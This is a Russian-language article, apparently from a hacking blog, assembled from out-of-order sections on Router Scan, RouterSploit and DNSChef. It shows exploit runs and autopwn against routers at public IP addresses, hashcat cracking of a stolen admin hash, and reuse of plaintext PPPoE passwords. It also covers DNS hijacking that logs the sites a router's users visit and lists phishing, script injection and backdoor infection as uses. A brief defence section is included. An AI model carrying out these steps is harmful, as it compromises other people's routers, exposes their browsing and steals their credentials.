Роутер

Сбор сведений, какие сайты посетил владелец роутера

Если запустить DNSChef с минимальным набором опций, например, так:

sudo nohup dnschef -i IP_вашего_DNS_прокси --logfile=/root/dns.log &

То DNSChef не будет оказывать никакого влияния на DNS записи. При получении DNS запроса он будет спрашивать у настоящего DNS сервера правдивые данные, а затем пересылать их запрашивающему. Таким образом, можно узнать, какие сайты были посещены.

Вносим изменения в роутер, доступ к которому мы получили. В поле Primary DNS Address я вписываю адрес своего DNS прокси и сохраняю изменения:

Перед тем как заменить запись на свою, обратите внимание на ту, которая там есть. Если она отличается от распространённых публичных DNS серверов (например, 8.8.8.8 и 8.8.4.4), то имеет смысл воспользоваться опцией —nameservers и указать там тот DNS, который присутствовал в настройках роутера изначально

Это очень хороший способ не выдать наше присутствие, поскольку роутер может использовать пользовательский DNS с только этому серверу известными записями (такое запросто может быть, если админ для своей локальной сети использует несуществующие домены). При этом ни наш сервер, ни сервер по умолчанию для запроса реальных данных (8.8.8.8) ничего об этих доменах не могут знать. Это может нарушить работу и пользователей роутера и выдать наше присутствие. Если же мы добавим к команде, например, —nameservers=212.109.216.106 (в моём случае, IP 212.109.216.106 – это та запись, которая изначально была для первичного DNS сервера), то через наш DNS прокси запросы будут идти на тот же самый DNS, что и настроил админ. При этом мы по-прежнему сможем вести запись запросов и модифицировать ответы, т.е. на нашу работу применение этой опции никак не сказывается.

После этого начинается сбор данных:

Кроме сайтов, непосредственно посещённых пользователем, некоторые программы делают запросы к сайтам и веб-приложениям, они тоже в этом списке

Из «человеческих» здесь можно обратить внимание на сайты:

  • ftp.alliance-healthcare.ru
  • post.vitafarm.ru

У кого-то установлен автоматический обновлятель драйверов

update.drp.su

Эти записи говорят об использовании Team viewer

  • client.teamviewer.com
  • ping3.teamviewer.com

А DNS запросы об этих сайтах говорят об использовании техники Apple

  • p47-buy.itunes.apple.com
  • captive.apple.com
  • p09-keyvalueservice.icloud.com
  • apple.com
  • guzzoni.apple.com
  • www.apple.com
  • init-p01st.push.apple.com

Тут видно, что наконец-то люди проснулись и начали пользоваться Интернетом:

Надеюсь это не роутер на работе – дальше там в основном идут одни социальные сети. ))

Узнать, какие сайты посетил пользователь уязвимого роутера – это хорошо, но явно мало.

Для чего нужна программа Router Scan

Также узнать самые свежие новости о Router Scan и задать вопрос автору вы можете на Античате, в теме:

Если вы забыли адрес официального сайта и не хотите пользоваться поисковыми системами, то один из способов попасть на оф.сайт Router Scan — это нажать на эту кнопку (откроется страница браузера с правильным адресом):

На официальном сайте не только полностью безопасный файл (без вирусов, троянов и вредоносного программного обеспечения), но и самая последняя версия.

Программа работает на Windows, но имеется возможность запустить её на Linux через Wine. Скачать программу можно на . Пароль для архива:

Stas»M Corp.

Блокировка сайтов с использованием DNS прокси

Мы можем полностью «запретить» использование Интернета отправляя вместо реальных IP неверный в ответ на все запросы. Это делается опцией —fakeip. Пример:

sudo nohup dnschef -i IP_вашего_DNS_прокси --fakeip 127.0.0.1 --logfile=/root/dns.log &

У конечного пользователя будет ошибка что-то вроде невозможно подключиться к DNS, сайты открываться не будут.

Используя пример выше, рассмотрим ситуацию, что вы хотите перехватить запросы только для blackarch.ru и оставить запросы на все другие домены, такие как suip.biz без модификации. Вы можете использовать параметр —fakedomains как проиллюстрировано ниже

sudo nohup dnschef -i IP_вашего_DNS_прокси --fakeip 127.0.0.1 --fakedomains blackarch.ru --logfile=/root/dns.log &

Можно использовать файлы, в которых прописать, к каким доменам обрывать подключения, или, наоборот, запретить доступ ко всем, кроме отдельных. Больше подобных примеров можно посмотреть здесь. Мне не хочется на этом останавливаться, т.к. какой-то выгоды от этого трудно получить, разве что заблокировать соц.сети от далёких с компьютерными технологиями людей (это легко обходиться).

Взлом MD5 хеша пароля

Чтобы можно было использовать пароль в виде MD5 хеша, его нужно расшифровывать брутфорсом. Для начала попробуйте MD5 хеш просто загуглить, есть вероятность, что он сразу найдётся в одной из радужных таблиц.

Если с радужными таблицами не повезло, то брутфорсить лучше с использованием видеокарты и программы Hashcat. Шансы на удачу очень велики, поскольку MD5 очень быстро считается а, следовательно, и перебирается. Например, на моём стареньком ноутбуке (и процессор и видеокарта с индексом M, т.е. мобильные, т.е. с пониженным потреблением энергии и, следовательно, пониженной производительностью (процессор Intel(R) Core(TM) i7-3630QM CPU @ 2.40GHz и видеокарта Radeon HD 7870M)) перебор идёт со скоростью 1300 мегахешей в секунду, т.е. 1.300.000.000 хешей в секунду. На современных настольных компьютерах с хорошей видеокартой должно получаться минимум на один порядок больше (плюс ещё один ноль в конце). А на специально собранных для перебора хешей компьютерах с несколькими видеокартами, вполне возможно достижения скоростей больших чем у меня на два порядка. Т.е. у пароля средней длины (6-10 символов) в котором использовались большие и маленькие буквы, а также цифры, не остаётся шансов остаться не узнанным.

Пример запуска перебора хеша:

C:\Users\Alex\Downloads\hashcat-3.10\hashcat64.exe --opencl-device-types 1,2 -a 3 -1 ?l?d?u -m 0 -i --increment-min=1 --increment-max=8  8743b52063cd84097a65d1633f5c74f5 ?1?1?1?1?1?1?1?1?1

Здесь:

  • C:\Users\Alex\Downloads\hashcat-3.10\ — путь до папки, где расположена программа Hashcat
  • hashcat64.exe – файл программы – у меня 64-битная система
  • —opencl-device-types 1,2 – определённые фиксы для моей системы (подробности здесь)
  • -a 3 – выбор атаки по маске
  • -1 ?l?d?u – пользовательский набор символов, включает в себя большие и маленькие буквы, а также цифры
  • -m 0 – номер хеша (для каждого вида хеша нужно смотреть его персональный номер в справке. 0 соответствует MD5)
  • -i – включить приращение маски (увеличение количества символов)
  • —increment-min=1 – начать искать хеши с односимвольных кандидатов в пароли
  • —increment-max=8 – остановить приращение на 8 символах
  • 8743b52063cd84097a65d1633f5c74f5 – хеш, который нужно взломать
  • ?1?1?1?1?1?1?1?1?1 – маска (в данном случае 8 пользовательских символов, которые заданы выше).

Чтобы лучше разбираться в работе Hashcat, рекомендуется ознакомиться с её справкой и доступным материалом по этой программе.

Но иногда нужно включить голову, а не перебор на видеокарте. Давайте рассмотрим пример:

Имеется роутер 151.28.181.138. Это какая-то модель Belkin. Соответственно:

use scanners/belkin_scan
set target 151.28.181.138
run

Сразу две уязвимости. Одна заключается в обходе аутентификации, а вторая в раскрытии пароля. Хочу пароль!

rsf (Belkin Scanner) > use exploits/belkin/g_n150_password_disclosure
rsf (Belkin G & N150 Password Disclosure) > set target 151.28.181.138
 {'target': '151.28.181.138'}
rsf (Belkin G & N150 Password Disclosure) > run
 Running module...
 Exploit success

   Login     MD5 Password                         
   -----     ------------                         
   admin     8c9ba6053738777b4f88129c174fe2fc   

Нельзя сказать, что совсем нет результата. Как я уже сказал, MD5 хорошо поддаётся брутфорсу, поэтому я зарядил команду:

C:\Users\Alex\Downloads\hashcat-3.10\hashcat64.exe --opencl-device-types 1,2 -a 3 -1 ?l?d?u -m 0 -i --increment-min=1 --increment-max=8 8c9ba6053738777b4f88129c174fe2fc ?1?1?1?1?1?1?1?1?1

Но пока система привычно шумит вентиляторами, решил попробовать второй эксплойт:

rsf (Belkin G & N150 Password Disclosure) > use exploits/belkin/auth_bypass
rsf (Belkin Auth Bypass) > set target 151.28.181.138
 {'target': '151.28.181.138'}
rsf (Belkin Auth Bypass) > run
 Running module...
 Exploit success, you are now logged in!
rsf (Belkin Auth Bypass) >

Эксплойт оказался успешным и говорит, что я внутри. Судя по всему, нужно открыть браузер:

Я и правда внутри. Можно побродить по настройкам, но я случайно увидел мою любимую опцию «Save/Backup Settings».

Сохраняю файл с настройками себе.

Открываю его и ищу по ключевому слову «pass», там имеется несколько строк с таких вхождением, в том числе такие две строчки:

wan0_pppoe_passwd=razorjack
dsl3_pppoe_passwd=razorjack

И хотя понятно, что это не пароль от устройства, тем не менее, видно, что пользователь имеет склонность использовать одинаковые пароли. А что если…

echo -n razorjack | md5sum
8c9ba6053738777b4f88129c174fe2fc

Ну точно, 8c9ba6053738777b4f88129c174fe2fc – это хеш от razorjack.

Нажимаю в верхнем правом углу Logout, затем Login и вхожу как белый человек с паролем, а не через «чёрный вход».

Использование смены DNS на роутере

Некоторые эксплойты не могут ничего, кроме как поменять настройки DNS. Естественно, имея пароль от учётной записи администратора, также можно поменять DNS. Даже без пароля администратора, но имея возможность выполнять команды на роутере, можно отредактировать конфигурационный файл для смены сервера имён.

Смена DNS на свой DNS прокси может дать следующее:

  1. Блокировка Интернет-подключения на роутере (делается просто, но, скорее всего, также быстро будет исправлена владельцем роутера)
  2. Сбор статистики о посещённых ресурсах и установленном ПО у клиентов роутера
  3. Выполнение фишинговых атак для кражи паролей (кроме DNS прокси требуется настройка веб-сервера)
  4. Внедрение кода на веб-страницы (например, для JQuery, встраиваемого в сайты посредством CDN, подменяется DNS сервера CDN, в результате код JQuery подгружается с сервера злоумышленника, который кроме самой библиотеки, добавил злонамеренный код, показывающий рекламу, ворующий пароли, следящий на нажатыми клавишами или выполняющий фишинговые и т.п. атаки)
  5. Фишинговые атаки с целью заражения бэкдором компьютеров пользователей роутера.

Некоторые приёмы работы с DNS прокси показаны в статье «Инструкция по использованию Router Scan by Stas’M. Часть вторая: Применение фальшивого DNS».

Защита от Router Scan

Принцип работы Router Scan основывается на проверке заводских паролей роутеров и на использование уязвимостей в их прошивках. Поэтому защита очевидна:

  • смена заводских паролей для входа в панель администратора
  • регулярное обновление прошивки устройства
  • смена паролей для FTP, Telnet, SSH или отключение этих служб, если вы ими не пользуетесь

Router Scan — это приложение, которое можно скачать абсолютно бесплатно. Оно сканирует маршрутизаторы, если они находятся в зоне действия Wi-Fi адаптера. Такой адаптер является обязательным для данной утилиты. Без него он работать не будет. Но подойдут не все адаптеры. Если они подключаются USB кабелем, то при подключении могут возникнуть некоторые проблемы совместимости.

Модули сканирования

  • Router Scan (main)
    – основной модуль сканирования, отвечает за подбор пароля к веб интерфейсу устройства, и за получение информации.
  • Detect proxy servers
    – обнаруживает прокси серверы протокола HTTP, и оповещает в случае удачи – в колонку имени/типа устройства в скобках будет дописано «proxy server», а в колонку WAN IP Address – реальный внешний адрес прокси сервера. Для индикации записи в таблице успешных результатов, в колонку DNS будет записан текст «Proxy Good Check».
  • Use HNAP 1.0
    – проверяет хост на наличие поддержки протокола Home Network Administration Protocol v1.0 и уязвимостей в нём. В случае обнаружения поддержки запишет «HNAP Info» в столбец имени/типа устройства. Если уязвимость будет обнаружена – запишет в колонку авторизации текст «HNAP bypass auth», а также полученные настройки беспроводной сети. Примечание: Если до этого основной модуль успешно подобрал пароль авторизации, то модуль HNAP не будет задействован. Для принудительной проверки уязвимости HNAP, отключите основной модуль и пересканируйте устройство.

Последующие модули добавлены в качестве бонуса, и к роутерам прямого отношения не имеют.

  • SQLite Manager RCE
    – определяет уязвимые сервера SQLite, в которых имеется уязвимость выполнения произвольного PHP кода. Если SQLite Manager будет найден на узле, ссылка на него будет записана в колонку комментариев. Результат проверки уязвимости будет выведен в колонку имени/типа устройства. Если уязвимость будет обнаружена, то для индикации записи в таблице успешных результатов, в колонку DNS будет записан текст «SQLite Good Check».
  • Hudson Java Servlet
    – определяет уязвимые сервера Hudson CI (а также Jenkins CI), в которых имеется уязвимость выполнения произвольного Java кода. Если Hudson/Jenkins CI будет найден на узле, ссылка на него будет записана в колонку комментариев. Результат проверки уязвимости будет выведен в колонку имени/типа устройства. Если уязвимость будет обнаружена, то для индикации записи в таблице успешных результатов, в колонку DNS будет записан текст «Hudson Good Check».
  • phpMyAdmin RCE
    – выполняет поиск phpMyAdmin на сканируемом узле, после чего проверяет его на уязвимость выполнения произвольного PHP кода (эксплойт). Если phpMyAdmin будет найден на узле, ссылка на него будет записана в колонку комментариев. Результат проверки уязвимости будет выведен в колонку имени/типа устройства. Если уязвимость будет обнаружена, то для индикации записи в таблице успешных результатов, в колонку DNS будет записан текст «PMA Good Check».

Также, важно знать, что модули работают друг за другом – они могут перезаписать информацию в колонках, которую получил предыдущий модуль

Настройки сканера портов

Режимы сканирования

В зависимости от скорости вашего интернет соединения и свободных ресурсов ПК, можно выбирать различные режимы сканирования:

() Normal
– оптимизирован для работы через беспроводную сеть (т.е. когда вы подключены через Wi-Fi), также он не забивает канал соединениями и удобен, когда вам нужно во время сканирования пользоваться интернетом.

Технические характеристики: задержка 15 мс между каждой парой IP/порт.

() Fast Scan
– оптимизирован для работы через Ethernet (когда вы подключены по кабелю). Данный режим может вызвать проблемы, когда вы используете Wi-Fi в качестве основного соединения.

Технические характеристики: задержка 15 мс между каждым IP-адресом, все указанные порты проверяются в один момент.

() Ultra Fast
– может применяться при высокоскоростном соединении (1 Гбит/с и выше) на высокопроизводительных машинах. Используйте этот режим на свой страх и риск, т.к. на неподходящей конфигурации системы он может оборвать соединение с интернетом на долгое время, вызвать отказ в обслуживании вашего интернет провайдера, или нанести вред сетевому адаптеру.

Технические характеристики: без задержек, задействуются сразу все доступные потоки.

Кол-во попыток соединения

Функция может быть полезна при работе под VPN с конфликтующими маршрутами, или с нестабильным соединением.

Действие по завершению сканирования

Если вы запустили сканирование на длительный период времени, вам может понадобиться данная функция. Можно выбрать следующие действия:

  • Do nothing – ничего не делать.
  • Close program – закрыть программу.
  • Logoff user – выйти из пользовательского сеанса.
  • Shutdown – выключить ПК.
  • Suspend – перевести ПК в состояние сна (если функция доступна в системе).
  • Hibernate – выполнить гибернацию и выключить ПК (если функция доступна в системе).

Если у вас отключено автоматическое сохранение результатов, их будет предложено включить, чтобы не потерять результаты сканирования.

«Тихий» режим

Данный режим позволяет открыть программу без видимого окна, и сразу запустить сканирование. При этом появится значок в системном лотке, по которому можно показать главное окно.

По завершению сканирования результаты будут сохранены в файл, даже если автосохранение выключено.

Примечание: Для включения или выключения данной опции необходим перезапуск программы.

Таймаут потока

Устанавливает время жизни потока в минутах, т.е. порог ожидания обработки устройства. Если процесс обработки не успел уложиться в отведённое время, он принудительно завершается программой, и в колонке состояния появится пометка Timed out.

Можно также отключить порог ожидания, установив флажок Unlimited, но тогда процесс сканирования может затянуться навечно, ожидая завершения зависших потоков.

Принцип работы DNS и фальшивого DNS

Если сказать очень упрощённо, то, когда в строку браузера мы вводим адрес сайта, например https://hackware.ru/, то компьютеру этот набор символов ничего не говорит. Он обращается к специально предназначенному для этого компьютеру в Интернете (DNS серверу) и спрашивает его, по какому адресу расположен домен hackware.ru. Сервер отвечает IP адресом. После этого наш компьютер обращается уже по IP адресу к серверу, на котором размещён hackware.ru. При этом в строке браузера ничего не меняется и для пользователей всё это происходит незаметно. Ещё раз повторю, это упрощённая, фактически, не совсем верная модель, но суть она отражает и для наших целей подходит идеально.

Когда мы получаем доступ к настройкам сетевого оборудования, то мы можем изменить любую информацию, в том числе и прописать адрес своего DNS сервера. Наш фальшивый DNS сервер мы можем настроить как угодно:

  • он может отсылать неверный IP для всех запросов (так мы заблокируем Интернет подключение)
  • он может отсылать неверный IP для конкретных сайтов (остальные сайты будут работать, а некоторые – нет)
  • он может отсылать IP сервера, на котором будет копия настоящего сайта, при этом при вводе логина и пароля они будут сохраняться для нас.

При этом, если мы выбрали подменять информацию только для определённых сайтов, то для всех остальных наш DNS прокси будет спрашивать верные IP у настоящего DNS сервера, а потом переправлять верный ответ.

Синтаксис IP диапазонов

Router Scan поддерживает несколько типов диапазонов:

1. Единичный IP адрес – всего один адрес в строке.

Пример: 192.168.1.1

2. Обычный диапазон – указываются начальный и конечный адреса, разделённые дефисом (минусом).

Пример: 192.168.10.1-192.168.10.254

– Будет просканировано 254 адреса.

Пример: 192.168.200.30-192.168.200.39

– Будет просканировано 10 адресов.

3. Диапазон с битовой маской – указывается IP адрес сети и количество фиксированных бит (маска сети), они разделяются косой чертой.

Пример: 10.10.10.0/24

– Первые 24 бита адреса не меняются, остаётся 32 – 24 = 8 свободных бит.

– Будет просканировано 2 8 = 256 адресов.

Пример: 172.16.0.0/12

– Первые 12 бит адреса не меняются, остаётся 32 – 12 = 20 свободных бит.

– Будет просканировано 2 20 = 1048576 адресов.

4. Октетный диапазон в стиле Nmap – отдельные октеты IP адреса могут быть заданы в виде диапазонов через дефис, или в виде перечисления через запятую.

Пример: 10.0.0.1-254

– Будет просканировано 254 адреса, от 10.0.0.1 до 10.0.0.254.

Пример: 10.0.2,4.1

– Будет просканировано 2 адреса, 10.0.2.1 и 10.0.4.1.

Запуск и остановка DNS прокси

Запускать DNSChef нужно с ключом -i после которого должен идти IP вашего сервера (вашего VDS). Если вы по какой-то причине забыли IP вашего сервера, то узнать его можно, например, так:

ip a

Также для сохранения данных в файл можно воспользоваться опцией —logfile после которой указать путь до файла для сохранения истории запросов.

Ещё до самой команды можно поставить команду nohup, а после команды символ &; это приведёт к тому, что после закрытия терминала процесс продолжит свою работу в фоне (подробности здесь). Таким образом, если у меня IP 185.117.153.79, а сохранять данные я буду в файл /root/dns.log, то моя команда имеет полный вид:

sudo nohup dnschef -i 185.117.153.79 --logfile=/root/dns.log &

Просматривать записываемые данные можно, например, так:

cat /root/dns.log

Если вы хотите остановить процесс, то узнайте его pid с помощью

ss -pnau

Посмотрите, какой процесс прослушивает порт 53, а затем используйте команду

kill pid_процесса_на_порту_53

Проверка заводских паролей и брутфорс учётных данных в RouterSploit

RouterSploit позволяет проверять заводские пароли и брутфорсить следующие службы:

  • ftp
  • ssh
  • telnet
  • http basic auth
  • http form auth
  • snmp

На роутерах обычно используется http аутентификация через форму или http basic аутентификация. Остальные службы ftp, ssh, telnet и snmp встречаются не особо часто. Чтобы определить, запущены ли они на роутере, нужно просканировать открытые порты:

sudo nmap IP_роутера

Стандартными портами служб ftp, ssh, telnet и snmp являются порты 21, 22, 23 и 161.

Соответствующие модули расположены в директории creds и вряд ли возникнут проблемы при использовании модулей для служб http basic auth, ftp, ssh, telnet и snmp. Даже файлы с паролями уже поставляются с программой и уже выбраны в качестве значений опций по умолчанию

Только обратите внимание, что каждый модуль имеется в двух вариантах: один проверяет заводские пароли, а второй осуществляет перебор по словарю.

Что касается http аутентификации с использованием формы, то здесь абсолютно те же сложности, что и при брут-форсе форм веб-сайтов. Это отдельная непростая наука, чтобы примерно понимать сложности и порядок действий, рекомендуется прочитать «Брут-форс веб-сайтов: инструкция по использованию patator, Hydra, Medusa».

Настройка и запуск сканирования Router Scan

Главная кнопка многофункциональна. При запуске сканирования разделяется на две кнопки – для остановки и приостановки сканирования. Но также может выполнять ряд других функций:

  • – запускает процесс сканирования IP диапазонов.
  • – останавливает сканирование.
  • – ставит сканирование на паузу.
  • – возобновляет сканирование.
  • – принудительно прекращает сканирование.
  • – прерывает импорт файла в таблицу.
  • – прерывает выгрузку данных в базу 3WiFi (при автоматической выгрузке по завершению сканирования).

Макс. кол-во потоков

Этот параметр устанавливает максимальное количество потоков, то есть сколько устройств может сканироваться параллельно и одновременно.

Таймаут соединения

Устанавливает порог ожидания соединения с устройством в миллисекундах.

Примечание: В зависимости от провайдера, скорости и стабильности соединения, эти параметры придётся варьировать интуитивно, для получения стабильных результатов сканирования без потерь соединения. Если вам кажется, что программа задействует недостаточно потоков, и ваша система может отдать больше ресурсов, попробуйте изменить режим сканирования в настройках программы.

Список портов для сканирования

Определяет, какие TCP порты будут проверяться при сканировании IP диапазонов.

  • позволяет добавить новый порт в конец списка.
  • удаляет выбранный порт из списка.

Все порты сканируются с использованием обычного протокола HTTP/1.0, за исключением портов 443, 4343 и 8443 – они сканируются по HTTPS с использованием библиотеки OpenSSL.

Для увеличения угла обзора в сети, вы также можете добавить в список порты 81, 88, 8000, 8081, 8082, 8088, 8888, и подобные.

Также список портов можно изменить, редактируя файл ports.txt.

Автоматическое сохранение результатов в файл

Данная функция периодически выполняет автоматическое сохранение содержимого таблицы, выбранной для сохранения. Для выбора сохраняемой таблицы, воспользуйтесь соответствующей опцией. Настраиваемые параметры:

  • Interval – интервал, с которым будет выполняться сохранение (в секундах).
  • Format – в каком формате сохранять файл.

Поддерживаемые форматы файлов:

  • XML 2003 Table – формат XML, используемый Microsoft Office 2003 (только экспорт).
  • CSV Table – текстовый формат CSV (импорт/экспорт).
  • Tab-delimited Text File – текстовый формат TXT с разделителями табуляциями (импорт/экспорт).
  • IP:Port List – список адресов в формате IP адрес:порт (только экспорт).
  • JavaScript Object Notation – формат JSON, который принимают многие интерпретаторы и среды разработки (только экспорт).

Все файлы сохраняются в папке программы, в кодировке UTF-8 (без BOM). Имена файлов соответствуют дате и времени экспорта.

Для хранения, последующей обработки, или повторного импорта данных, рекомендуется использовать формат TXT, либо XML.

IP или диапазоны IP, которые вы хотите просканировать, введите в поле «Enter IP ranges to scan»:

  • открывает окно редактора IP диапазонов.
  • позволяет добавить один новый диапазон в конец списка.
  • удаляет выбранный диапазон из списка.
  • полностью стирает весь список диапазонов, включая комментарии (будьте осторожны, это необратимое действие!).

Использование учётных данных, полученных в открытом виде

Варианты, которые дают возможность аутентифицироваться (пароль в открытом виде, аутентификация без пароля, изменение пароля) сводятся к тому, что мы получаем вход в административную панель роутера и полный контроль над его настройками.

Это даёт возможность атакующему:

перепрошить роутер прошивкой с закладками (сложный вариант, требует навыков распаковки/упаковки прошивок встроенных устройств, глубокое понимание работы ОС Linux; доступно не для всех роутеров, но в случае успеха даёт безграничные возможности управления роутером и слежения за трафиком);

оставить пользователей роутера без Интернет-подключения (простой вариант, достаточно изменить настройки на неверные);

если роутер поддерживает ту или иную реализацию VPN, то возможно подключить его к специально настроенному VPN злоумышленника, при этом становятся доступны все возможности атаки человек-посередине (пример концепта здесь);

узнать пароль от Wi-Fi, включить модуль Wi-Fi если он отключён (в случае особой важности, можно прибыть в место расположения роутера, для проведения атаки человек-посередине);

изменение настроек DNS на IP вашего (подложного) DNS (вариант средней сложности, более подробно про DNS прокси будет чуть ниже).

Всё сказанное справедливо для обхода аутентификации и уязвимостей, позволяющих изменить пароль.

Проверка на уязвимость по всем эксплойтам в RouterSploit

Зачаточная автоматизация в RouterSploit всё-таки присутствует. Можно, по крайней мере, проверить один роутер на подверженность сразу всеми эксплойтами. Для этого есть модуль autopwn. В качестве тестового роутера возьмём роутер на IP 83.17.188.82 и на порту 80.

Запустите RouterSploit. В зависимости от способа установки это делается так:

routersploit

или так:

./rsf.py

В запущенном RouterSploit вводим (используйте TAB для автоматического завершения):

use scanners/autopwn

Введём

show options

чтобы посмотреть опции:

В данном случае нам нужно установить IP:

set target 83.17.188.82

Порт устанавливать не нужно, поскольку он совпадает с портом по умолчанию. В противном случае для установки порта используется примерно такая команда:

set port 80

Для запуска модуля достаточно набрать

run

Строки

 exploits/dlink/dir_645_815_rce is vulnerable
 exploits/dlink/dir_300_600_rce is vulnerable
 Device is vulnerable!
 - exploits/dlink/dir_645_815_rce
 - exploits/dlink/dir_300_600_rce

говорят нам о том, что роутер уязвим к двум эксплойтам.

Чтобы отменить выбор модуля наберите

back

или сразу выберите другой модуль.

Программы для DNS прокси

Фальшивый DNS сервер ещё называют DNS прокси. В этой заметке я буду делать на примере DNSChef, она предустановлена и в Kali Linux, и в BlackArch. Ещё одна программа с аналогичной функциональностью — dns2proxy.

Если у вас дистрибутив, в котором в репозиториях DNSChef отсутствует, то вы можете самостоятельно установить любую из этих программ. Например, в производных Debian (Linux Mint, Ubuntu) это делается так:

sudo apt-get install python-ipy
sudo pip install dnslib
wget http://thesprawl.org/media/projects/`curl -s http://thesprawl.org/projects/dnschef/ | grep -E -o 'dnschef-{1,2}.{1,2}.zip' | head -n 1`
unzip dnschef-*
rm dnschef-*zip
cd dnschef-*
sudo python dnschef.py --help

Ещё DNSChef прокси работает на Windows, причём даже не нужно ставить зависимости – бинарные файлы скомпилированы уже с ними. Но я в качестве сервера не использую Windows, поэтому каких-то детальных инструкций дать не могу.

Обычно, мы не можем запустить DNS прокси на нашем собственном компьютере, поскольку для работы нужно несколько условий:

  • белый IP адрес
  • постоянное подключение к Интернету
  • ОС Linux (для меня это необходимое условие)

Независимо от того, кукую ОС вы выбрали, опции командной строки для DNSChef везде одинаковые.

Заключение

RouterSploit имеет хорошую коллекцию эксплойтов и достаточно удобную организацию работы с ними в отношении отдельных роутеров.

Реализация модуля HTTP аутентификации через форму (пожалуй, самый распространённый вариант входа в настройки роутера) можно считать сделанной для галочки. В том виде, как он сделан сейчас, практически никто не сможет им воспользоваться. А те, кто смогут всё правильно в нём настроить, скорее всего, воспользуются более привычным для них инструментом, тем же самым patator.

Модуль HTTP аутентификации через форму должен быть сделан персонально для каждой модели роутера, как это реализовано в Router Scan by Stas’M – иначе в нём нет смысла.

Для реализации подобного, необходимо предварительно создать модули для точного определения версий и соответствующую БД, что, судя по всему, даже не входит в планы.

Аналогично с эксплойтами для удалённого выполнения кода. Для большинства моделей ничто не мешало авторам добавить пару строк для считывания и вывода логина и пароля, вместо показа приглашения командной строки.

Конечно я помню, что RouterSploit бесплатен, с открытым исходным кодом. И если в подобных программах что-то не хватает, то нужно не жаловаться, а самому доделывать для себя и сообщества. Главное ощущение, которое осталось от этой программы – хочется всё переделать, сделать лучше, логичнее, законченнее и проще.

Ссылка на основную публикацию